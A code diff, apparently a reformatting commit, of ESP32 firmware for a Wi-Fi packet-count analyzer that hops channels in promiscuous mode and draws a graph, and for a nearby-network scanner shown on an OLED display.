| 44 | + | sniffer.currentChannel = 1; | |
| 45 | + | ||
| 46 | + | // reset WiFi | |
| 47 | + | WiFi.disconnect(true, true); | |
| 48 | + | esp_wifi_stop(); | |
| 49 | + | delay(200); | |
| 50 | + | esp_wifi_deinit(); | |
| 51 | + | ||
| 52 | + | wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT(); | |
| 53 | + | esp_wifi_init(&cfg); | |
| 54 | + | esp_wifi_set_storage(WIFI_STORAGE_RAM); | |
| 55 | + | esp_wifi_set_mode(WIFI_MODE_NULL); | |
| 56 | + | esp_wifi_start(); | |
| 57 | + | ||
| 58 | + | esp_wifi_set_channel(sniffer.currentChannel, WIFI_SECOND_CHAN_NONE); | |
| 59 | + | esp_wifi_set_promiscuous_rx_cb(snifferCallback); | |
| 60 | + | esp_wifi_set_promiscuous(true); | |
| 64 | 61 | } | |
| 65 | 62 | ||
| 66 | 63 | // ===== HELPERS ===== | |
| 67 | − | static void switchChannel() | |
| 68 | − | { | |
| 69 | − | sniffer.currentChannel++; | |
| 70 | − | if (sniffer.currentChannel > 13) sniffer.currentChannel = 1; | |
| 64 | + | static void switchChannel() { | |
| 65 | + | sniffer.currentChannel++; | |
| 66 | + | if (sniffer.currentChannel > 13) | |
| 67 | + | sniffer.currentChannel = 1; | |
| 71 | 68 | ||
| 72 | − | esp_wifi_set_channel(sniffer.currentChannel, WIFI_SECOND_CHAN_NONE); | |
| 69 | + | esp_wifi_set_channel(sniffer.currentChannel, WIFI_SECOND_CHAN_NONE); | |
| 73 | 70 | } | |
| 74 | 71 | ||
| 75 | − | static void updateGraph(uint8_t value) | |
| 76 | − | { | |
| 77 | − | for (int i = 0; i < MAX_POINTS - 1; i++) | |
| 78 | − | { | |
| 79 | − | sniffer.graphData[i] = sniffer.graphData[i + 1]; | |
| 80 | − | } | |
| 72 | + | static void updateGraph(uint8_t value) { | |
| 73 | + | for (int i = 0; i < MAX_POINTS - 1; i++) { | |
| 74 | + | sniffer.graphData[i] = sniffer.graphData[i + 1]; | |
| 75 | + | } | |
| 81 | 76 | ||
| 82 | − | sniffer.graphData[MAX_POINTS - 1] = value; | |
| 77 | + | sniffer.graphData[MAX_POINTS - 1] = value; | |
| 83 | 78 | } | |
| 84 | 79 | ||
| 85 | − | static void drawGraph(uint16_t pktCount) | |
| 86 | − | { | |
| 87 | − | u8g2.clearBuffer(); | |
| 88 | − | u8g2.setFont(u8g2_font_5x8_tr); | |
| 80 | + | static void drawGraph(uint16_t pktCount) { | |
| 81 | + | u8g2.clearBuffer(); | |
| 82 | + | u8g2.setFont(u8g2_font_5x8_tr); | |
| 89 | 83 | ||
| 90 | − | char line1[16]; | |
| 91 | − | char line2[16]; | |
| 84 | + | char line1[16]; | |
| 85 | + | char line2[16]; | |
| 92 | 86 | ||
| 93 | − | sprintf(line1, "Ch:%d", sniffer.currentChannel); | |
| 94 | − | sprintf(line2, "Pkts:%d", pktCount * 5); | |
| 87 | + | sprintf(line1, "Ch:%d", sniffer.currentChannel); | |
| 88 | + | sprintf(line2, "Pkts:%d", pktCount * 5); | |
| 95 | 89 | ||
| 96 | − | u8g2.drawStr(0, 8, line1); | |
| 97 | − | u8g2.drawStr(60, 8, line2); | |
| 90 | + | u8g2.drawStr(0, 8, line1); | |
| 91 | + | u8g2.drawStr(60, 8, line2); | |
| 98 | 92 | ||
| 99 | − | for (int x = 1; x < GRAPH_WIDTH; x++) | |
| 100 | − | { | |
| 101 | − | int y1 = GRAPH_TOP + GRAPH_HEIGHT - sniffer.graphData[x - 1]; | |
| 102 | − | int y2 = GRAPH_TOP + GRAPH_HEIGHT - sniffer.graphData[x]; | |
| 93 | + | for (int x = 1; x < GRAPH_WIDTH; x++) { | |
| 94 | + | int y1 = GRAPH_TOP + GRAPH_HEIGHT - sniffer.graphData[x - 1]; | |
| 95 | + | int y2 = GRAPH_TOP + GRAPH_HEIGHT - sniffer.graphData[x]; | |
| 103 | 96 | ||
| 104 | − | u8g2.drawLine(x - 1, y1, x, y2); | |
| 105 | − | } | |
| 97 | + | u8g2.drawLine(x - 1, y1, x, y2); | |
| 98 | + | } | |
| 106 | 99 | ||
| 107 | − | if (pktCount >= SPIKE_THRESHOLD) | |
| 108 | − | { | |
| 109 | − | u8g2.drawVLine(GRAPH_WIDTH / 2, GRAPH_TOP, GRAPH_HEIGHT); | |
| 110 | − | } | |
| 100 | + | if (pktCount >= SPIKE_THRESHOLD) { | |
| 101 | + | u8g2.drawVLine(GRAPH_WIDTH / 2, GRAPH_TOP, GRAPH_HEIGHT); | |
| 102 | + | } | |
| 111 | 103 | ||
| 112 | − | u8g2.sendBuffer(); | |
| 104 | + | u8g2.sendBuffer(); | |
| 113 | 105 | } | |
| 114 | 106 | ||
| 115 | 107 | // ===== LOOP ===== | |
| 116 | − | void wifi_analyzer_loop() | |
| 117 | − | { | |
| 118 | − | static uint32_t lastPress = 0; | |
| 119 | − | unsigned long now = millis(); | |
| 108 | + | void wifi_analyzer_loop() { | |
| 109 | + | static uint32_t lastPress = 0; | |
| 110 | + | unsigned long now = millis(); | |
| 120 | 111 | ||
| 121 | − | // channel hopping | |
| 122 | − | if (now - sniffer.lastChannelSwitch >= 1000) | |
| 123 | − | { | |
| 124 | − | sniffer.lastChannelSwitch = now; | |
| 125 | − | switchChannel(); | |
| 126 | − | } | |
| 112 | + | // channel hopping | |
| 113 | + | if (now - sniffer.lastChannelSwitch >= 1000) { | |
| 114 | + | sniffer.lastChannelSwitch = now; | |
| 115 | + | switchChannel(); | |
| 116 | + | } | |
| 127 | 117 | ||
| 128 | − | // graph update | |
| 129 | − | if (now - sniffer.lastUpdate >= 200) | |
| 130 | − | { | |
| 131 | − | sniffer.lastUpdate = now; | |
| 118 | + | // graph update | |
| 119 | + | if (now - sniffer.lastUpdate >= 200) { | |
| 120 | + | sniffer.lastUpdate = now; | |
| 132 | 121 | ||
| 133 | − | uint16_t pktCount = sniffer.packetCounter; | |
| 122 | + | uint16_t pktCount = sniffer.packetCounter; | |
| 134 | 123 | ||
| 135 | − | uint8_t scaled = pktCount * 2; | |
| 136 | − | uint8_t value = min(scaled, (uint8_t)GRAPH_HEIGHT); | |
| 124 | + | uint8_t scaled = pktCount * 2; | |
| 125 | + | uint8_t value = min(scaled, (uint8_t)GRAPH_HEIGHT); | |
| 137 | 126 | ||
| 138 | − | updateGraph(value); | |
| 139 | − | drawGraph(pktCount); | |
| 127 | + | updateGraph(value); | |
| 128 | + | drawGraph(pktCount); | |
| 140 | 129 | ||
| 141 | − | sniffer.packetCounter = 0; | |
| 142 | − | } | |
| 130 | + | sniffer.packetCounter = 0; | |
| 131 | + | } | |
| 143 | 132 | ||
| 144 | − | // optional: small debounce to not hammer CPU | |
| 145 | − | if (millis() - lastPress < 10) | |
| 146 | − | return; | |
| 133 | + | // optional: small debounce to not hammer CPU | |
| 134 | + | if (millis() - lastPress < 10) | |
| 135 | + | return; | |
| 147 | 136 | } | |
| @@ -1,15 +1,15 @@ | |||
| 1 | − | #include <Arduino.h> | |
| 2 | − | #include <WiFi.h> | |
| 3 | 1 | #include "../ui/display.h" | |
| 4 | 2 | #include "../utils/buttons.h" | |
| 3 | + | #include <Arduino.h> | |
| 4 | + | #include <WiFi.h> | |
| 5 | 5 | ||
| 6 | 6 | #define MAX_NETWORKS 30 | |
| 7 | 7 | ||
| 8 | 8 | struct WiFiNet { | |
| 9 | − | String ssid; | |
| 10 | − | int rssi; | |
| 11 | − | int channel; | |
| 12 | − | bool encrypted; | |
| 9 | + | String ssid; | |
| 10 | + | int rssi; | |
| 11 | + | int channel; | |
| 12 | + | bool encrypted; | |
| 13 | 13 | }; | |
| 14 | 14 | ||
| 15 | 15 | static WiFiNet networks[MAX_NETWORKS]; | |
| @@ -17,136 +17,123 @@ static int networkCount = 0; | |||
| 17 | 17 | static int selectedIndex = 0; | |
| 18 | 18 | ||
| 19 | 19 | // ===== SCAN ===== | |
| 20 | − | void wifi_scan_start() | |
| 21 | − | { | |
| 22 | − | u8g2.clearBuffer(); | |
| 23 | − | u8g2.drawStr(10, 30, "Scanning WiFi..."); | |
| 24 | − | u8g2.sendBuffer(); | |
| 20 | + | void wifi_scan_start() { | |
| 21 | + | u8g2.clearBuffer(); | |
| 22 | + | u8g2.drawStr(10, 30, "Scanning WiFi..."); | |
| 23 | + | u8g2.sendBuffer(); | |
| 25 | 24 | ||
| 26 | − | WiFi.mode(WIFI_STA); | |
| 27 | − | WiFi.disconnect(); | |
| 25 | + | WiFi.mode(WIFI_STA); | |
| 26 | + | WiFi.disconnect(); | |
| 28 | 27 | ||
| 29 | − | delay(100); | |
| 28 | + | delay(100); | |
| 30 | 29 | ||
| 31 | − | int n = WiFi.scanNetworks(); | |
| 30 | + | int n = WiFi.scanNetworks(); | |
| 32 | 31 | ||
| 33 | − | networkCount = min(n, MAX_NETWORKS); | |
| 32 | + | networkCount = min(n, MAX_NETWORKS); | |
| 34 | 33 | ||
| 35 | − | for (int i = 0; i < networkCount; i++) | |
| 36 | − | { | |
| 37 | − | networks[i].ssid = WiFi.SSID(i); | |
| 38 | − | networks[i].rssi = WiFi.RSSI(i); | |
| 39 | − | networks[i].channel = WiFi.channel(i); | |
| 40 | − | networks[i].encrypted = (WiFi.encryptionType(i) != WIFI_AUTH_OPEN); | |
| 41 | − | } | |
| 34 | + | for (int i = 0; i < networkCount; i++) { | |
| 35 | + | networks[i].ssid = WiFi.SSID(i); | |
| 36 | + | networks[i].rssi = WiFi.RSSI(i); | |
| 37 | + | networks[i].channel = WiFi.channel(i); | |
| 38 | + | networks[i].encrypted = (WiFi.encryptionType(i) != WIFI_AUTH_OPEN); | |
| 39 | + | } | |
| 42 | 40 | ||
| 43 | − | selectedIndex = 0; | |
| 41 | + | selectedIndex = 0; | |
| 44 | 42 | } | |
| 45 | 43 | ||
| 46 | 44 | // ===== DRAW ===== | |
| 47 | − | void wifi_scan_draw() | |
| 48 | − | { | |
| 49 | − | u8g2.clearBuffer(); | |
| 50 | − | ||
| 51 | − | if (networkCount == 0) | |
| 52 | − | { | |
| 53 | − | u8g2.drawStr(0, 30, "No networks"); | |
| 54 | − | u8g2.drawStr(0, 45, "Press BACK"); | |
| 55 | − | } | |
| 56 | − | else | |
| 57 | − | { | |
| 58 | − | char counter[20]; | |
| 59 | − | sprintf(counter, "%d/%d", selectedIndex + 1, networkCount); | |
| 60 | − | u8g2.setFont(u8g2_font_5x8_tr); | |
| 61 | − | u8g2.drawStr(0, 8, counter); | |
| 45 | + | void wifi_scan_draw() { | |
| 46 | + | u8g2.clearBuffer(); | |
| 47 | + | ||
| 48 | + | if (networkCount == 0) { | |
| 49 | + | u8g2.drawStr(0, 30, "No networks"); | |
| 50 | + | u8g2.drawStr(0, 45, "Press BACK"); | |
| 51 | + | } else { | |
| 52 | + | char counter[20]; | |
| 53 | + | sprintf(counter, "%d/%d", selectedIndex + 1, networkCount); | |
| 54 | + | u8g2.setFont(u8g2_font_5x8_tr); | |
| 55 | + | u8g2.drawStr(0, 8, counter); | |
| 62 | 56 | ||
| 63 | − | u8g2.setFont(u8g2_font_6x10_tr); | |
| 57 | + | u8g2.setFont(u8g2_font_6x10_tr); | |
| 64 | 58 | ||
| 65 | − | for (int i = 0; i < 3; i++) | |
| 66 | − | { | |
| 67 | − | int idx = selectedIndex + i; | |
| 68 | − | if (idx >= networkCount) break; | |
| 59 | + | for (int i = 0; i < 3; i++) { | |
| 60 | + | int idx = selectedIndex + i; | |
| 61 | + | if (idx >= networkCount) | |
| 62 | + | break; | |
| 69 | 63 | ||
| 70 | − | int y = 22 + i * 14; | |
| 64 | + | int y = 22 + i * 14; | |
| 71 | 65 | ||
| 72 | − | if (i == 0) | |
| 73 | − | { | |
| 74 | − | u8g2.drawBox(0, y - 10, 128, 12); | |
| 75 | − | u8g2.setDrawColor(0); | |
| 76 | − | } | |
| 66 | + | if (i == 0) { | |
| 67 | + | u8g2.drawBox(0, y - 10, 128, 12); | |
| 68 | + | u8g2.setDrawColor(0); | |
| 69 | + | } | |
| 77 | 70 | ||
| 78 | − | String text = networks[idx].ssid; | |
| 79 | − | if (text.length() > 10) | |
| 80 | − | text = text.substring(0, 10) + ".."; | |
| 71 | + | String text = networks[idx].ssid; | |
| 72 | + | if (text.length() > 10) | |
| 73 | + | text = text.substring(0, 10) + ".."; | |
| 81 | 74 | ||
| 82 | − | text += " (" + String(networks[idx].rssi) + ")"; | |
| 75 | + | text += " (" + String(networks[idx].rssi) + ")"; | |
| 83 | 76 | ||
| 84 | − | u8g2.drawStr(2, y, text.c_str()); | |
| 77 | + | u8g2.drawStr(2, y, text.c_str()); | |
| 85 | 78 | ||
| 86 | − | if (i == 0) | |
| 87 | − | u8g2.setDrawColor(1); | |
| 88 | − | } | |
| 79 | + | if (i == 0) | |
| 80 | + | u8g2.setDrawColor(1); | |
| 89 | 81 | } | |
| 82 | + | } | |
| 90 | 83 | ||
| 91 | − | u8g2.sendBuffer(); | |
| 84 | + | u8g2.sendBuffer(); | |
| 92 | 85 | } | |
| 93 | 86 | ||
| 94 | 87 | // ===== DETAILS ===== | |
| 95 | − | void wifi_drawDetails() | |
| 96 | − | { | |
| 97 | − | if (networkCount == 0) return; | |
| 88 | + | void wifi_drawDetails() { | |
| 89 | + | if (networkCount == 0) | |
| 90 | + | return; | |
| 98 | 91 | ||
| 99 | − | WiFiNet &net = networks[selectedIndex]; | |
| 92 | + | WiFiNet &net = networks[selectedIndex]; | |
| 100 | 93 | ||
| 101 | − | u8g2.clearBuffer(); | |
| 102 | − | u8g2.setFont(u8g2_font_5x8_tr); | |
| 94 | + | u8g2.clearBuffer(); | |
| 95 | + | u8g2.setFont(u8g2_font_5x8_tr); | |
| 103 | 96 | ||
| 104 | − | u8g2.drawStr(0, 10, net.ssid.c_str()); | |
| 97 | + | u8g2.drawStr(0, 10, net.ssid.c_str()); | |
| 105 | 98 | ||
| 106 | − | char rssi[20]; | |
| 107 | − | sprintf(rssi, "RSSI: %d", net.rssi); | |
| 108 | − | u8g2.drawStr(0, 20, rssi); | |
| 99 | + | char rssi[20]; | |
| 100 | + | sprintf(rssi, "RSSI: %d", net.rssi); | |
| 101 | + | u8g2.drawStr(0, 20, rssi); | |
| 109 | 102 | ||
| 110 | − | char ch[20]; | |
| 111 | − | sprintf(ch, "CH: %d", net.channel); | |
| 112 | − | u8g2.drawStr(0, 30, ch); | |
| 103 | + | char ch[20]; | |
| 104 | + | sprintf(ch, "CH: %d", net.channel); | |
| 105 | + | u8g2.drawStr(0, 30, ch); | |
| 113 | 106 | ||
| 114 | − | u8g2.drawStr(0, 40, net.encrypted ? "Secured" : "Open"); | |
| 107 | + | u8g2.drawStr(0, 40, net.encrypted ? "Secured" : "Open"); | |
| 115 | 108 | ||
| 116 | − | u8g2.sendBuffer(); | |
| 109 | + | u8g2.sendBuffer(); | |
| 117 | 110 | } | |
| 118 | 111 | ||
| 119 | 112 | // ===== LOOP ===== | |
| 120 | − | void wifi_scan_loop() | |
| 121 | − | { | |
| 122 | − | static uint32_t lastPress = 0; | |
| 123 | − | ||
| 124 | − | if (millis() - lastPress < 150) | |
| 125 | − | return; | |
| 126 | − | ||
| 127 | − | if (btnDown() && selectedIndex < networkCount - 1) | |
| 128 | − | { | |
| 129 | − | selectedIndex++; | |
| 130 | − | wifi_scan_draw(); | |
| 131 | − | lastPress = millis(); | |
| 132 | − | } | |
| 133 | − | else if (btnUp() && selectedIndex > 0) | |
| 134 | − | { | |
| 135 | − | selectedIndex--; | |
| 136 | − | wifi_scan_draw(); | |
| 137 | − | lastPress = millis(); | |
| 138 | − | } | |
| 139 | − | else if (btnSelect() && networkCount > 0) | |
| 140 | − | { | |
| 141 | − | wifi_drawDetails(); | |
| 142 | − | delay(3000); | |
| 143 | − | wifi_scan_draw(); | |
| 144 | − | lastPress = millis(); | |
| 145 | − | } | |
| 146 | − | // else if (btnBack()) | |
| 147 | − | // { | |
| 148 | − | // wifi_scan_start(); | |
| 149 | − | // wifi_scan_draw(); | |
| 150 | − | // lastPress = millis(); | |
| 151 | − | // } | |
| 113 | + | void wifi_scan_loop() { | |
| 114 | + | static uint32_t lastPress = 0; | |
| 115 | + | ||
| 116 | + | if (millis() - lastPress < 150) | |
| 117 | + | return; | |
| 118 | + | ||
| 119 | + | if (btnDown() && selectedIndex < networkCount - 1) { | |
| 120 | + | selectedIndex++; | |
| 121 | + | wifi_scan_draw(); | |
| 122 | + | lastPress = millis(); | |
| 123 | + | } else if (btnUp() && selectedIndex > 0) { | |
| 124 | + | selectedIndex--; | |
| 125 | + | wifi_scan_draw(); | |
| 126 | + | lastPress = millis(); | |
| 127 | + | } else if (btnSelect() && networkCount > 0) { | |
| 128 | + | wifi_drawDetails(); | |
| 129 | + | delay(3000); | |
| 130 | + | wifi_scan_draw(); | |
| 131 | + | lastPress = millis(); | |
| 132 | + | } | |
| 133 | + | // else if (btnBack()) | |
| 134 | + | // { | |
| 135 | + | // wifi_scan_start(); | |
| 136 | + | // wifi_scan_draw(); | |
| 137 | + | // lastPress = millis(); | |
| 138 | + | // } | |
| 152 | 139 | } | |